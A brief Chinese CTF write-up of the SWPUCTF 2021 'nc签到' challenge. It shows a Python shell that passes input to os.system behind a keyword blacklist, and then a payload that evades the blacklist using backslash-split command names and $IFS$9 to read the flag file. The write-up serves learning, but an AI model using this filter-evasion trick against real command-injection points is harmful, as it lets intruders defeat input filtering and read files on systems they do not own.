pwn 练习随笔
1. [SWPUCTF 2021 新生赛]nc签到
打开附件发现是 py 源码。
import os art = ''' (( "####@@!!$$ )) `#####@@!$$` )) (( '####@!!$: (( ,####@!!$: )) .###@!!$: `##@@!$: `#@!!$ !@# `#@!$: @#$ #$ `#@!$: !@! '@!$: '`\ "!$: /`' '\ '!: /' "\ : /" -."-/\\\-."//.-"/:`\."-.JrS"."-=_\\ " -."-.\\"-."//.-".`-."_\\-.".-\".-//''' print(art) print("My_shell_ProVersion") blacklist = ['cat','ls',' ','cd','echo','<','${IFS}'] while True: command = input() for i in blacklist: if i in command: exit(0) os.system(command)
发现这个代码把 cat,ls,cd等都过滤了。
考虑如何绕过:查阅发现可以用 '\' 夹在字符间绕过,空格用 $IFS$9 表示。
c\a\t$IFS$9f\l\a\g 即可。